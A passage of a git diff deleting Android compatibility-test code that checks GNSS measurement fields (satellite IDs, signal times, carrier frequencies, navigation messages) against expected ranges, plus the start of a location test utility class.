-        softAssert.assertTrue("time_offset_ns: Time offset",
-                timeInNs,
-                "-100 seconds < X < +10 seconds",
-                String.valueOf(measurement.getTimeOffsetNanos()),
-                (-100 < timeOffsetInSec) && (timeOffsetInSec < 10));
-
-        softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
-                timeInNs,
-                "0.0 >= X <=63",
-                String.valueOf(measurement.getCn0DbHz()),
-                measurement.getCn0DbHz() >= 0.0 &&
-                        measurement.getCn0DbHz() <= 63.0);
-
-        softAssert.assertTrue("pseudorange_rate_uncertainty_mps: " +
-                        "Pseudorange Rate Uncertainty in m/s",
-                timeInNs,
-                "X > 0.0",
-                String.valueOf(
-                        measurement.getPseudorangeRateUncertaintyMetersPerSecond()),
-                measurement.getPseudorangeRateUncertaintyMetersPerSecond() > 0.0);
-
-        verifyGnssCarrierFrequency(softAssert, testLocationManager,
-                measurement.hasCarrierFrequencyHz(),
-                measurement.hasCarrierFrequencyHz() ? measurement.getCarrierFrequencyHz() : 0F);
-
-        // Check carrier_phase.
-        if (measurement.hasCarrierPhase()) {
-            softAssert.assertTrue("carrier_phase: Carrier phase",
-                    timeInNs,
-                    "0.0 >= X <= 1.0",
-                    String.valueOf(measurement.getCarrierPhase()),
-                    measurement.getCarrierPhase() >= 0.0 && measurement.getCarrierPhase() <= 1.0);
-        }
-
-        // Check carrier_phase_uncertainty..
-        if (measurement.hasCarrierPhaseUncertainty()) {
-            softAssert.assertTrue("carrier_phase_uncertainty: 1-Sigma uncertainty of the " +
-                            "carrier-phase",
-                    timeInNs,
-                    "X > 0.0",
-                    String.valueOf(measurement.getCarrierPhaseUncertainty()),
-                    measurement.getCarrierPhaseUncertainty() > 0.0);
-        }
-
-        // Check GNSS Measurement's multipath_indicator.
-        softAssert.assertTrue("multipath_indicator: GNSS Measurement's multipath indicator",
-                timeInNs,
-                "0 >= X <= 2",
-                String.valueOf(measurement.getMultipathIndicator()),
-                measurement.getMultipathIndicator() >= 0
-                        && measurement.getMultipathIndicator() <= 2);
-
-
-        // Check Signal-to-Noise ratio (SNR).
-        if (measurement.hasSnrInDb()) {
-            softAssert.assertTrue("snr: Signal-to-Noise ratio (SNR) in dB",
-                    timeInNs,
-                    "0.0 >= X <= 63",
-                    String.valueOf(measurement.getSnrInDb()),
-                    measurement.getSnrInDb() >= 0.0 && measurement.getSnrInDb() <= 63);
-        }
-
-        if (measurement.hasAutomaticGainControlLevelDb()) {
-            softAssert.assertTrue("Automatic Gain Control level in dB",
-                timeInNs,
-                "-100 >= X <= 100",
-                String.valueOf(measurement.getAutomaticGainControlLevelDb()),
-                measurement.getAutomaticGainControlLevelDb() >= -100
-                    && measurement.getAutomaticGainControlLevelDb() <= 100);
-        }
-
-    }
-
-    /**
-     * Verify accumulated delta ranges are in expected range.
-     *
-     * @param measurement GnssMeasurement
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     */
-    private static void verifyAccumulatedDeltaRanges(GnssMeasurement measurement,
-        SoftAssert softAssert, long timeInNs) {
-
-        int accumulatedDeltaRangeState = measurement.getAccumulatedDeltaRangeState();
-        softAssert.assertTrue("accumulated_delta_range_state: " +
-                "Accumulated delta range state",
-                timeInNs,
-                "X & ~ADR_STATE_ALL == 0",
-                String.valueOf(accumulatedDeltaRangeState),
-                (accumulatedDeltaRangeState & ~GnssMeasurement.ADR_STATE_ALL) == 0);
-        softAssert.assertTrue("accumulated_delta_range_state: " +
-                "Accumulated delta range state",
-                timeInNs,
-                "ADR_STATE_HALF_CYCLE_REPORTED, or !ADR_STATE_HALF_CYCLE_RESOLVED",
-                String.valueOf(accumulatedDeltaRangeState),
-                ((accumulatedDeltaRangeState &
-                  GnssMeasurement.ADR_STATE_HALF_CYCLE_REPORTED) != 0) ||
-                 (accumulatedDeltaRangeState &
-                  GnssMeasurement.ADR_STATE_HALF_CYCLE_RESOLVED) == 0);
-        if ((accumulatedDeltaRangeState & GnssMeasurement.ADR_STATE_VALID) != 0) {
-            double accumulatedDeltaRangeInMeters =
-                    measurement.getAccumulatedDeltaRangeMeters();
-            softAssert.assertTrue("accumulated_delta_range_m: " +
-                    "Accumulated delta range in meter",
-                    timeInNs,
-                    "X != 0.0",
-                    String.valueOf(accumulatedDeltaRangeInMeters),
-                    accumulatedDeltaRangeInMeters != 0.0);
-            double accumulatedDeltaRangeUncertainty =
-                    measurement.getAccumulatedDeltaRangeUncertaintyMeters();
-            softAssert.assertTrue("accumulated_delta_range_uncertainty_m: " +
-                    "Accumulated delta range uncertainty in meter",
-                    timeInNs,
-                    "X > 0.0",
-                    String.valueOf(accumulatedDeltaRangeUncertainty),
-                    accumulatedDeltaRangeUncertainty > 0.0);
-        }
-    }
-
-    /**
-     * Verify svid's are in expected range.
-     *
-     * @param measurement GnssMeasurement
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     */
-    private static void verifySvid(GnssMeasurement measurement, SoftAssert softAssert,
-        long timeInNs) {
-
-        int constellationType = measurement.getConstellationType();
-        int svid = measurement.getSvid();
-        validateSvidSub(softAssert, timeInNs, constellationType, svid);
-    }
-
-    public static void validateSvidSub(SoftAssert softAssert, Long timeInNs,
-        int constellationType, int svid) {
-
-        String svidValue = String.valueOf(svid);
-
-        switch (constellationType) {
-            case GnssStatus.CONSTELLATION_GPS:
-                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
-                                "= CONSTELLATION_GPS",
-                        timeInNs,
-                        "[1, 32]",
-                        svidValue,
-                        svid > 0 && svid <= 32);
-                break;
-            case GnssStatus.CONSTELLATION_SBAS:
-                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
-                                "= CONSTELLATION_SBAS",
-                        timeInNs,
-                        "120 <= X <= 192",
-                        svidValue,
-                        svid >= 120 && svid <= 192);
-                break;
-            case GnssStatus.CONSTELLATION_GLONASS:
-                softAssert.assertTrue("svid: Slot ID, or if unknown, Frequency + 100 (93-106). " +
-                                "Constellation type = CONSTELLATION_GLONASS",
-                        timeInNs,
-                        "1 <= svid <= 24 || 93 <= svid <= 106",
-                        svidValue,
-                        (svid >= 1 && svid <= 24) || (svid >= 93 && svid <= 106));
-                break;
-            case GnssStatus.CONSTELLATION_QZSS:
-                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
-                                "= CONSTELLATION_QZSS",
-                        timeInNs,
-                        "193 <= X <= 200",
-                        svidValue,
-                        svid >= 193 && svid <= 200);
-                break;
-            case GnssStatus.CONSTELLATION_BEIDOU:
-                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
-                                "= CONSTELLATION_BEIDOU",
-                        timeInNs,
-                        "1 <= X <= 63",
-                        svidValue,
-                        svid >= 1 && svid <= 63);
-                break;
-            case GnssStatus.CONSTELLATION_GALILEO:
-                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
-                                "= CONSTELLATION_GALILEO",
-                        timeInNs,
-                        "1 <= X <= 36",
-                        String.valueOf(svid),
-                        svid >= 1 && svid <= 36);
-                break;
-            default:
-                // Explicit fail if did not receive valid constellation type.
-                softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
-                                "constellation type.",
-                        timeInNs,
-                        "Valid constellation type.",
-                        svidValue,
-                        false);
-                break;
-        }
-    }
-
-    /**
-     * Verify sv times are in expected range.
-     *
-     * @param measurement GnssMeasurement
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     * */
-    private static void verifyReceivedSatelliteVehicleTimeInNs(GnssMeasurement measurement,
-        SoftAssert softAssert, long timeInNs) {
-
-        int constellationType = measurement.getConstellationType();
-        int state = measurement.getState();
-        long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
-        double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
-        double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
-        double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
-
-        // Check ranges for received_sv_time_ns for given Gps State
-        if (state == 0) {
-            softAssert.assertTrue("received_sv_time_ns:" +
-                            " Received SV Time-of-Week in ns." +
-                            " GNSS_MEASUREMENT_STATE_UNKNOWN.",
-                    timeInNs,
-                    "X == 0",
-                    String.valueOf(received_sv_time_ns),
-                    sv_time_ms == 0);
-        }
-
-        switch (constellationType) {
-            case GnssStatus.CONSTELLATION_GPS:
-                verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state, "CONSTELLATION_GPS");
-                break;
-            case GnssStatus.CONSTELLATION_QZSS:
-                verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state,
-                        "CONSTELLATION_QZSS");
-                break;
-            case GnssStatus.CONSTELLATION_SBAS:
-                if ((state & GnssMeasurement.STATE_SBAS_SYNC)
-                        == GnssMeasurement.STATE_SBAS_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_SBAS_SYNC",
-                                    "GnssStatus.CONSTELLATION_SBAS"),
-                            timeInNs,
-                            "0s >= X <= 1s",
-                            String.valueOf(sv_time_sec),
-                            sv_time_sec >= 0 && sv_time_sec <= 1);
-                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
-                        == GnssMeasurement.STATE_SYMBOL_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
-                                    "GnssStatus.CONSTELLATION_SBAS"),
-                            timeInNs,
-                            "0ms >= X <= 2ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 2);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
-                        == GnssMeasurement.STATE_CODE_LOCK) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
-                                    "GnssStatus.CONSTELLATION_SBAS"),
-                            timeInNs,
-                            "0ms >= X <= 1ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 1);
-                }
-                break;
-            case GnssStatus.CONSTELLATION_GLONASS:
-                if ((state & GnssMeasurement.STATE_GLO_TOD_DECODED)
-                        == GnssMeasurement.STATE_GLO_TOD_DECODED) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GLO_TOD_DECODED",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0 day >= X <= 1 day",
-                            String.valueOf(sv_time_days),
-                            sv_time_days >= 0 && sv_time_days <= 1);
-                } else if ((state & GnssMeasurement.STATE_GLO_TOD_KNOWN)
-                         == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0 day >= X <= 1 day",
-                            String.valueOf(sv_time_days),
-                            sv_time_days >= 0 && sv_time_days <= 1);
-                } else if ((state & GnssMeasurement.STATE_GLO_STRING_SYNC)
-                        == GnssMeasurement.STATE_GLO_STRING_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GLO_STRING_SYNC",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0s >= X <= 2s",
-                            String.valueOf(sv_time_sec),
-                            sv_time_sec >= 0 && sv_time_sec <= 2);
-                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
-                        == GnssMeasurement.STATE_BIT_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_BIT_SYNC",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0ms >= X <= 20ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 20);
-                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
-                        == GnssMeasurement.STATE_SYMBOL_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0ms >= X <= 10ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 10);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
-                        == GnssMeasurement.STATE_CODE_LOCK) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
-                                    "GnssStatus.CONSTELLATION_GLONASS"),
-                            timeInNs,
-                            "0ms >= X <= 1ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 1);
-                }
-                break;
-            case GnssStatus.CONSTELLATION_GALILEO:
-                if ((state & GnssMeasurement.STATE_TOW_DECODED)
-                        == GnssMeasurement.STATE_TOW_DECODED) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
-                                    "GnssStatus.CONSTELLATION_GALILEO"),
-                            timeInNs,
-                            "0 >= X <= 7 days",
-                            String.valueOf(sv_time_days),
-                            sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
-                              == GnssMeasurement.STATE_TOW_KNOWN) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
-                                    "GnssStatus.CONSTELLATION_GALILEO"),
-                        timeInNs,
-                        "0 >= X <= 7 days",
-                        String.valueOf(sv_time_days),
-                        sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
-                        == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GAL_E1B_PAGE_SYNC",
-                                    "GnssStatus.CONSTELLATION_GALILEO"),
-                            timeInNs,
-                            "0s >= X <= 2s",
-                            String.valueOf(sv_time_sec),
-                            sv_time_sec >= 0 && sv_time_sec <= 2);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
-                        == GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GAL_E1C_2ND_CODE_LOCK",
-                                    "GnssStatus.CONSTELLATION_GALILEO"),
-                            timeInNs,
-                            "0ms >= X <= 100ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 100);
-                } else if ((state & GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
-                        == GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_GAL_E1BC_CODE_LOCK",
-                                    "GnssStatus.CONSTELLATION_GALILEO"),
-                            timeInNs,
-                            "0ms >= X <= 4ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 4);
-                }
-                break;
-            case GnssStatus.CONSTELLATION_BEIDOU:
-                if ((state & GnssMeasurement.STATE_TOW_DECODED)
-                        == GnssMeasurement.STATE_TOW_DECODED) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0 >= X <= 7 days",
-                            String.valueOf(sv_time_days),
-                            sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
-                        == GnssMeasurement.STATE_TOW_KNOWN) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0 >= X <= 7 days",
-                            String.valueOf(sv_time_days),
-                            sv_time_days >= 0 && sv_time_days <= 7);
-                } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
-                        == GnssMeasurement.STATE_SUBFRAME_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0s >= X <= 6s",
-                            String.valueOf(sv_time_sec),
-                            sv_time_sec >= 0 && sv_time_sec <= 6);
-                } else if ((state & GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
-                        == GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_BDS_D2_SUBFRAME_SYNC",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0ms >= X <= 600ms (0.6sec)",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 600);
-                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
-                        == GnssMeasurement.STATE_BIT_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_BIT_SYNC",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0ms >= X <= 20ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 20);
-                } else if ((state & GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
-                        == GnssMeasurement.STATE_BDS_D2_BIT_SYNC) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_BDS_D2_BIT_SYNC",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0ms >= X <= 2ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 2);
-                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
-                        == GnssMeasurement.STATE_CODE_LOCK) {
-                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
-                                    "GnssStatus.CONSTELLATION_BEIDOU"),
-                            timeInNs,
-                            "0ms >= X <= 1ms",
-                            String.valueOf(sv_time_ms),
-                            sv_time_ms >= 0 && sv_time_ms <= 1);
-                }
-                break;
-        }
-    }
-
-    private static String getReceivedSvTimeNsLogMessage(String state, String constellationType) {
-        return "received_sv_time_ns: Received SV Time-of-Week in ns. Constellation type = "
-                + constellationType + ". State = " + state;
-    }
-
-    /**
-     * Verify sv times are in expected range for given constellation type.
-     * This is common check for CONSTELLATION_GPS & CONSTELLATION_QZSS.
-     *
-     * @param measurement GnssMeasurement
-     * @param softAssert  custom SoftAssert
-     * @param timeInNs    event time in ns
-     * @param state       GnssMeasurement State
-     * @param constellationType Gnss Constellation type
-     */
-    private static void verifyGpsQzssSvTimes(GnssMeasurement measurement,
-        SoftAssert softAssert, long timeInNs, int state, String constellationType) {
-
-        long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
-        double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
-        double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
-        double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
-
-        if ((state & GnssMeasurement.STATE_TOW_DECODED)
-                == GnssMeasurement.STATE_TOW_DECODED) {
-            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                            "GNSS_MEASUREMENT_STATE_TOW_DECODED",
-                            constellationType),
-                    timeInNs,
-                    "0 >= X <= 7 days",
-                    String.valueOf(sv_time_days),
-                    sv_time_days >= 0 && sv_time_days <= 7);
-        } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
-                == GnssMeasurement.STATE_TOW_KNOWN) {
-            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                            "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
-                            constellationType),
-                    timeInNs,
-                    "0 >= X <= 7 days",
-                    String.valueOf(sv_time_days),
-                    sv_time_days >= 0 && sv_time_days <= 7);
-        } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
-                == GnssMeasurement.STATE_SUBFRAME_SYNC) {
-            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                            "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
-                            constellationType),
-                    timeInNs,
-                    "0s >= X <= 6s",
-                    String.valueOf(sv_time_sec),
-                    sv_time_sec >= 0 && sv_time_sec <= 6);
-        } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
-                == GnssMeasurement.STATE_BIT_SYNC) {
-            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                            "GNSS_MEASUREMENT_STATE_BIT_SYNC",
-                            constellationType),
-                    timeInNs,
-                    "0ms >= X <= 20ms",
-                    String.valueOf(sv_time_ms),
-                    sv_time_ms >= 0 && sv_time_ms <= 20);
-
-        } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
-                == GnssMeasurement.STATE_CODE_LOCK) {
-            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
-                            "GNSS_MEASUREMENT_STATE_CODE_LOCK",
-                            constellationType),
-                    timeInNs,
-                    "0ms >= X <= 1ms",
-                    String.valueOf(sv_time_ms),
-                    sv_time_ms >= 0 && sv_time_ms <= 1);
-        }
-    }
-
-
-    /**
-     * Get a unique string for the SV including the constellation and the default L1 band.
-     *
-     * @param constellationType Gnss Constellation type
-     * @param svId Gnss Sv Identifier
-     */
-    public static String getUniqueSvStringId(int constellationType, int svId) {
-        return getUniqueSvStringId(constellationType, svId, GnssBand.GNSS_L1);
-    }
-
-    /**
-     * Get a unique string for the SV including the constellation and the band.
-     *
-     * @param constellationType Gnss Constellation type
-     * @param svId Gnss Sv Identifier
-     * @param carrierFrequencyHz Carrier Frequency for Sv in Hz
-     */
-    public static String getUniqueSvStringId(int constellationType, int svId,
-        float carrierFrequencyHz) {
-        return getUniqueSvStringId(constellationType, svId,
-            frequencyToGnssBand(carrierFrequencyHz));
-    }
-
-    private static String getUniqueSvStringId(int constellationType, int svId, GnssBand gnssBand) {
-        return gnssBand.toString() + "." + constellationType + "." + svId;
-    }
-
-    /**
-     * Assert all mandatory fields in Gnss Navigation Message are in expected range.
-     * See mandatory fields in {@code gps.h}.
-     *
-     * @param testLocationManager TestLocationManager
-     * @param events GnssNavigationMessageEvents
-     */
-    public static void verifyGnssNavMessageMandatoryField(TestLocationManager testLocationManager,
-                                                          List<GnssNavigationMessage> events) {
-        // Verify mandatory GnssNavigationMessage field values.
-        SoftAssert softAssert = new SoftAssert(TAG);
-        for (GnssNavigationMessage message : events) {
-            int type = message.getType();
-            softAssert.assertTrue("Gnss Navigation Message Type:expected [" +
-                getGnssNavMessageTypes() + "] actual = " + type,
-                    GNSS_NAVIGATION_MESSAGE_TYPE.contains(type));
-
-            int messageType = message.getType();
-            softAssert.assertTrue("Message ID cannot be 0", message.getMessageId() != 0);
-            if (messageType == GnssNavigationMessage.TYPE_GAL_I) {
-                softAssert.assertTrue("Sub Message ID can not be negative.",
-                    message.getSubmessageId() >= 0);
-            } else {
-                softAssert.assertTrue("Sub Message ID has to be greater than 0.",
-                    message.getSubmessageId() > 0);
-            }
-
-            // if message type == TYPE_L1CA, verify PRN & Data Size.
-            if (messageType == GnssNavigationMessage.TYPE_GPS_L1CA) {
-                int svid = message.getSvid();
-                softAssert.assertTrue("Space Vehicle ID : expected = [1, 32], actual = " +
-                                svid,
-                        svid >= 1 && svid <= 32);
-                int dataSize = message.getData().length;
-                softAssert.assertTrue("Data size: expected = 40, actual = " + dataSize,
-                        dataSize == 40);
-            } else {
-                Log.i(TAG, "GnssNavigationMessage (type = " + messageType
-                        + ") skipped for verification.");
-            }
-        }
-        softAssert.assertAll();
-    }
-
-    /**
-     * Asserts presence of CarrierFrequency and the values are in expected range.
-     * As per CDD 7.3.3 / C-3-3 Year 2107+ should have Carrier Frequency present
-     * As of 2018, per http://www.navipedia.net/index.php/GNSS_signal, all known GNSS bands
-     * lie within 2 frequency ranges [1100-1300] & [1500-1700].
-     *
-     * @param softAssert custom SoftAssert
-     * @param testLocationManager TestLocationManager
-     * @param hasCarrierFrequency Whether carrierFrequency is present
-     * @param carrierFrequencyHz Value of carrier frequency in Hz if hasCarrierFrequency is true.
-     *                              It is ignored when hasCarrierFrequency is false.
-     */
-    public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
-        TestLocationManager testLocationManager,
-        boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
-        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
-            softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
-                    hasCarrierFrequency);
-        }
-
-        if (hasCarrierFrequency) {
-            float frequencyMhz = carrierFrequencyHz/1e6F;
-            softAssert.assertTrue("carrier_frequency_mhz: Carrier frequency in Mhz",
-                "1100 < X < 1300 || 1500 < X < 1700",
-                String.valueOf(frequencyMhz),
-                (frequencyMhz > 1100.0 && frequencyMhz < 1300.0) ||
-                    (frequencyMhz > 1500.0 && frequencyMhz < 1700.0));
-        }
-    }
-
-    private static String getGnssNavMessageTypes() {
-        StringBuilder typesStr = new StringBuilder();
-        for (int type : GNSS_NAVIGATION_MESSAGE_TYPE) {
-            typesStr.append(String.format("0x%04X", type));
-            typesStr.append(", ");
-        }
-
-        return typesStr.length() > 2 ? typesStr.substring(0, typesStr.length() - 2) : "";
-    }
-
-    /**
-     * The band information is as of 2018, per http://www.navipedia.net/index.php/GNSS_signal
-     * Bands are combined for simplicity as the constellation is also tracked.
-     *
-     * @param frequencyHz Frequency in Hz
-     * @return GnssBand where the frequency lies.
-     */
-    private static GnssBand frequencyToGnssBand(float frequencyHz) {
-        float frequencyMhz = frequencyHz/1e6F;
-        if (frequencyMhz >= 1151 && frequencyMhz <= 1214) {
-            return GnssBand.GNSS_L5;
-        }
-        if (frequencyMhz > 1214 && frequencyMhz <= 1255) {
-            return GnssBand.GNSS_L2;
-        }
-        if (frequencyMhz > 1255 && frequencyMhz <= 1300) {
-            return GnssBand.GNSS_E6;
-        }
-        return GnssBand.GNSS_L1; // default to L1 band
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestUtils.java b/tests/tests/location/src/android/location/cts/TestUtils.java
deleted file mode 100644
index 3a0100b..0000000
--- a/tests/tests/location/src/android/location/cts/TestUtils.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-import android.util.Log;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class TestUtils {
-    private static final String TAG = "LocationTestUtils";
-
-    private static final long STANDARD_WAIT_TIME_MS = 50;
-    private static final long STANDARD_SLEEP_TIME_MS = 50;
-
-    private static final int DATA_CONNECTION_CHECK_INTERVAL_MS = 500;
-    private static final int DATA_CONNECTION_CHECK_COUNT = 10; // 500 * 10 - Roughly 5 secs wait
-
-    public static boolean waitFor(CountDownLatch latch, int timeInSec) throws InterruptedException {
-        // Since late 2014, if the main thread has been occupied for long enough, Android will
-        // increase its priority. Such new behavior can causes starvation to the background thread -
-        // even if the main thread has called await() to yield its execution, the background thread
-        // still can't get scheduled.
-        //
-        // Here we're trying to wait on the main thread for a PendingIntent from a background
-        // thread. Because of the starvation problem, the background thread may take up to 5 minutes
-        // to deliver the PendingIntent if we simply call await() on the main thread. In order to
-        // give the background thread a chance to run, we call Thread.sleep() in a loop. Such dirty
-        // hack isn't ideal, but at least it can work.
-        //
-        // See also: b/17423027
-        long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) /
-                (STANDARD_WAIT_TIME_MS + STANDARD_SLEEP_TIME_MS);
-        for (int i = 0; i < waitTimeRounds; ++i) {
-            Thread.sleep(STANDARD_SLEEP_TIME_MS);
-            if (latch.await(STANDARD_WAIT_TIME_MS, TimeUnit.MILLISECONDS)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    public static boolean waitForWithCondition(int timeInSec, Callable<Boolean> callback)
-        throws Exception {
-        long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) / STANDARD_SLEEP_TIME_MS;
-        for (int i = 0; i < waitTimeRounds; ++i) {
-            Thread.sleep(STANDARD_SLEEP_TIME_MS);
-            if(callback.call()) return true;
-        }
-        return false;
-    }
-
